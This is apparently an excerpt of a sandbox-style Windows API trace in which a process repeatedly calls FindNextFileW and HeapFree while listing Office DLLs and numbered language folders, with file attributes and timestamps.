	[0168.926] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0168.926] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf632eb9d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf632eb9d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf632eb9d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x164c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MDXQueryGenerator.DLL", cAlternateFileName="MDXQUE~1.DLL")) returned 1
	[0168.934] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0168.934] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03d07a0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167f56e9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl", cAlternateFileName="")) returned 1
	[0168.950] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0168.950] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf45d3b76, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167cf4d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167cf4d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="no", cAlternateFileName="")) returned 1
	[0168.955] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0168.955] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf5ad675f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5ad675f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5ad675f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x6faa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE.DLL", cAlternateFileName="")) returned 1
	[0169.208] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0169.208] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa879350, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa879350, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2ba48, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.dll", cAlternateFileName="POWERP~1.DLL")) returned 1
	[0169.224] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0169.224] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe00baf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167cf4d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167cf4d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1
	[0169.240] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0169.240] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfae48f06, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfae48f06, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfae6f174, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x174c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.dll", cAlternateFileName="REPORT~1.DLL")) returned 1
	[0169.262] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0169.262] FindNextFileW (in: hFindFile=0x76f268, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefee59ce, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefee59ce, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefee59ce, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1026", cAlternateFileName="")) returned 1
	[0169.262] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0169.262] FindNextFileW (in: hFindFile=0x76f268, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1755c61, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1755c61, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1755c61, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="10266", cAlternateFileName="")) returned 1
	[0169.264] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0169.264] FindNextFileW (in: hFindFile=0x76f268, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4266542, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4266542, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4266542, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1027", cAlternateFileName="")) returned 1
	[0169.277] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0169.277] FindNextFileW (in: hFindFile=0x76f268, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xffd42fe2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffd42fe2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xffd42fe2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1028", cAlternateFileName="")) returned 1
	[0169.334] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0169.334] FindNextFileW (in: hFindFile=0x76f268, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf632eb9d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf632eb9d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf632eb9d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1029", cAlternateFileName="")) returned 1
	[0169.347] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0169.347] FindNextFileW (in: hFindFile=0x76f268, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfaf7a22a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfaf7a22a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfaf7a22a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1030", cAlternateFileName="")) returned 1
	[0169.350] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0169.350] FindNextFileW (in: hFindFile=0x76f268, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x633d60, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x633d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x633d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1031", cAlternateFileName="")) returned 1
	[0169.358] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0169.358] FindNextFileW (in: hFindFile=0x76f268, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e6a31, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x51e6a31, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x51e6a31, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1032", cAlternateFileName="")) returned 1
	[0169.364] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0169.364] FindNextFileW (in: hFindFile=0x76f268, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf42d8c51, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf42fef17, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf42fef17, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 1
	[0169.364] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0169.364] FindNextFileW (in: hFindFile=0x76f268, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a56cbe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a7cf13, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6a7cf13, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1035", cAlternateFileName="")) returned 1
	[0169.446] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0169.446] FindNextFileW (in: hFindFile=0x76f268, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa911c96, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa911c96, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa911c96, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1036", cAlternateFileName="")) returned 1
	[0169.582] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0169.583] FindNextFileW (in: hFindFile=0x76f268, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x67a8250, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x67a8250, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x67a8250, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1037", cAlternateFileName="")) returned 1
	[0169.585] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0169.585] FindNextFileW (in: hFindFile=0x76f268, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x88e2fa3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x88e2fa3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x88e2fa3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1038", cAlternateFileName="")) returned 1
	[0169.586] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0169.587] FindNextFileW (in: hFindFile=0x76f268, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x381f2dc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x381f2dc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x381f2dc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1040", cAlternateFileName="")) returned 1
	[0169.588] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0169.588] FindNextFileW (in: hFindFile=0x76f268, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6355df6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6355df6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6355df6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1041", cAlternateFileName="")) returned 1
	[0169.589] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0169.589] FindNextFileW (in: hFindFile=0x76f268, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf048f354, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf048f354, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf048f354, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1042", cAlternateFileName="")) returned 1
	[0169.589] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0169.590] FindNextFileW (in: hFindFile=0x76f268, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x303975a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x303975a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x303975a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1043", cAlternateFileName="")) returned 1
	[0169.590] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0169.590] FindNextFileW (in: hFindFile=0x76f268, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf61d7668, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf61fd8b4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf61fd8b4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1044", cAlternateFileName="")) returned 1
	[0169.591] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0169.591] FindNextFileW (in: hFindFile=0x76f268, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2ebae3b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf2ebae3b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf2ebae3b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1045", cAlternateFileName="")) returned 1
	[0169.592] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0169.592] FindNextFileW (in: hFindFile=0x76f268, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1887f3e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1887f3e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1887f3e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1046", cAlternateFileName="")) returned 1
	[0169.593] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0169.593] FindNextFileW (in: hFindFile=0x76f268, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5a8a2df, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5a8a2df, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5a8a2df, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1048", cAlternateFileName="")) returned 1
	[0169.594] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0169.594] FindNextFileW (in: hFindFile=0x76f268, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6b87f8e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6b87f8e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b87f8e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1049", cAlternateFileName="")) returned 1
	[0169.594] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0169.594] FindNextFileW (in: hFindFile=0x76f268, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfcc62b13, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfcc62b13, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfcc62b13, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1050", cAlternateFileName="")) returned 1
	[0169.596] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0169.596] FindNextFileW (in: hFindFile=0x76f268, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x303975a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x303975a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x303975a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1051", cAlternateFileName="")) returned 1
	[0169.596] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0169.596] FindNextFileW (in: hFindFile=0x76f268, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6bd3439, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6bd3439, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6bd3439, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1053", cAlternateFileName="")) returned 1
	[0169.597] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0169.597] FindNextFileW (in: hFindFile=0x76f268, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf443017d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf443017d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf443017d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1054", cAlternateFileName="")) returned 1
	[0169.598] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0169.598] FindNextFileW (in: hFindFile=0x76f268, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0089415, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0089415, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0089415, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1055", cAlternateFileName="")) returned 1
	[0169.599] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0169.599] FindNextFileW (in: hFindFile=0x76f268, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa8eba59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1057", cAlternateFileName="")) returned 1
	[0169.600] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0169.600] FindNextFileW (in: hFindFile=0x76f268, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a046b0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1a046b0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1058", cAlternateFileName="")) returned 1
	[0169.601] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4183f70 | out: hHeap=0x710000) returned 1
	[0169.601] FindNextFileW (in: hFindFile=0x76f268, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf99b89f6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf99b89f6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf99b89f6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1060", cAlternateFileName="")) returned 1
	[0169.601] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4183f70 | out: hHeap=0x710000) returned 1
	[0169.602] FindNextFileW (in: hFindFile=0x76f268, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc2d943c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc2d943c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc2d943c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1061", cAlternateFileName="")) returned 1
	[0169.602] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4183f70 | out: hHeap=0x710000) returned 1
	[0169.602] FindNextFileW (in: hFindFile=0x76f268, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1992fb3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1992fb3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1992fb3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1062", cAlternateFileName="")) returned 1
	[0169.604] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4183f70 | out: hHeap=0x710000) returned 1
